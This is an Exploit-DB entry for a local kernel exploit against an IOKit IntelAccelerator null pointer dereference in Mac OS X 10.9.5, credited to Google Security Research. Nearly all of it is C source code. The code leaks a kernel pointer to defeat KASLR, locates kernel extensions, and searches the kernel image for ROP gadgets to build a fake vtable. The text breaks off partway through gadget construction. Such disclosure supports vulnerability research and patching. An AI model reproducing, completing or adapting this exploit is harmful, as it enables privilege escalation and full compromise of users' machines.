Exploit-DB #35848
Description: Apple Mac OSX 10.9.5 - IOKit IntelAccelerator Null Pointer Dereference
Type: local
Platform: osx
Date: 2015-01-20
Author: Google Security Research

Exploit:
// clang -o ig_2_3_exploit ig_2_3_exploit.c -framework IOKit -framework CoreFoundation -m32 -D_FORTIFY_SOURCE=0
// ianbeer
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>

#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>

uint64_t kernel_symbol(char* sym){
  char cmd[1024];
  strcpy(cmd, "nm -g /mach_kernel | grep ");
  strcat(cmd, sym);
  strcat(cmd, " | cut -d' ' -f1");
  FILE* f = popen(cmd, "r");
  char offset_str[17];
  fread(offset_str, 16, 1, f);
  pclose(f);  
  offset_str[16] = '\x00';

  uint64_t offset = strtoull(offset_str, NULL, 16);
  return offset;
}

uint64_t leaked_offset_in_kext(){
  FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
  char offset_str[17];
  fread(offset_str, 16, 1, f);
  pclose(f);  
  offset_str[16] = '\x00';

  uint64_t offset = strtoull(offset_str, NULL, 16);
  offset += 0x10; //offset from symbol to leaked pointer
  return offset;
}


uint64_t leak(){
  io_iterator_t iter;
  
  CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
                                               kIOServicePlane,
                                               CFSTR("AAPL,iokit-ndrv"),
                                               kCFAllocatorDefault,
                                               kIORegistryIterateRecursively);

  if (CFGetTypeID(p) != CFDataGetTypeID()){
    printf("expected CFData\n");
    return 1;
  }

  if (CFDataGetLength(p) != 8){
    printf("expected 8 bytes\n");
    return 1;
  }

  uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
  return leaked;
}

extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);

uint64_t kext_load_addr(char* target_name){
  uint64_t addr = 0;
  CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
  CFIndex count = CFDictionaryGetCount(kd);
  
  void **keys;
  void **values;
  
  keys = (void **)malloc(sizeof(void *) * count);
  values = (void **)malloc(sizeof(void *) * count);
  
  CFDictionaryGetKeysAndValues(kd,
                               (const void **)keys,
                               (const void **)values);

  for(CFIndex i = 0; i < count; i++){
    const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
    if (strcmp(name, target_name) == 0){
      CFNumberGetValue(CFDictionaryGetValue(values[i],
                       CFSTR("OSBundleLoadAddress")),
                       kCFNumberSInt64Type,
                       &addr);
      printf("%s: 0x%016llx\n", name, addr);
      break;
    }
  }
  return addr;

}

uint64_t load_addr(){
  uint64_t addr = 0;
  CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
  CFIndex count = CFDictionaryGetCount(kd);
  
  void **keys;
  void **values;
  
  keys = (void **)malloc(sizeof(void *) * count);
  values = (void **)malloc(sizeof(void *) * count);
  
  CFDictionaryGetKeysAndValues(kd,
                               (const void **)keys,
                               (const void **)values);

  for(CFIndex i = 0; i < count; i++){
    const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
    if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
      CFNumberGetValue(CFDictionaryGetValue(values[i],
                       CFSTR("OSBundleLoadAddress")),
                       kCFNumberSInt64Type,
                       &addr);
      printf("%s: 0x%016llx\n", name, addr);
      break;
    }
  }
  return addr;
}

uint64_t* build_vtable(uint64_t kaslr_slide, size_t* len){
  uint64_t kernel_base = 0xffffff[PII_REDACTED];
  kernel_base += kaslr_slide;
    
  int fd = open("/mach_kernel", O_RDONLY);
  if (!fd)
    return NULL;

  struct stat _stat;
  fstat(fd, &_stat);
  size_t buf_len = _stat.st_size;

  uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);

  if (!buf)
    return NULL;

  /*
  this stack pivot to rax seems to be reliably present across mavericks versions:
    push rax
    add [rax], eax
    add [rbx+0x41], bl
    pop rsp
    pop r14
    pop r15
    pop rbp
    ret
  */
  uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
  uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
  uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
  printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
  uint64_t pivot = kernel_base + pivot_gadget_offset;

  /*
    pop rdi
    ret
  */
  uint8_t pop_rdi_ret_gadget_bytes[] = {0x5f, 0xc3};
  uint8_t* pop_rdi_ret_loc = memmem(buf, buf_len, pop_rdi_ret_gadget_bytes, sizeof(pop_rdi_ret_gadget_bytes));
  uint64_t pop_rdi_ret_gadget_offset = (uint64_t)(pop_rdi_ret_loc - buf);
  printf("offset of pop_rdi_ret gadget: %p\n", pop_rdi_ret_gadget_offset);
  uint64_t pop_rdi_ret = kernel_base + pop_rdi_ret_gadget_offset;
  
  /*
    pop rsi
    ret
  */
  uint8_t pop_rsi_ret_gadget_bytes[] = {0x5e, 0xc3};
  uint8_t* pop_rsi_ret_loc = memmem(buf, buf_len, pop_rsi_ret_gadget_bytes, sizeof(pop_rsi_ret_gadget_bytes));
  uint64_t pop_rsi_ret_gadget_offset = (uint64_t)(pop_rsi_ret_loc - buf);
  printf("offset of pop_rsi_ret gadget: %p\n", pop_rsi_ret_gadget_offset);
  uint64_t pop_rsi_ret = kernel_base + pop_rsi_ret_gadget_offset;
  
  /*
    pop rdx
    ret
  */
  uint8_t pop_rdx_ret_gadget_bytes[] = {0x5a, 0xc3};
  uint8_t* pop_rdx_ret_loc = memmem(buf, buf_len, pop_rdx_ret_gadget_bytes, sizeof(pop_rdx_ret_gadget_bytes));
  uint64_t pop_rdx_ret_gadget_offset = (uint64_t)(pop_rdx_ret_loc - buf);
  printf("offset of pop_rdx_ret gadget: %p\n", pop_rdx_ret_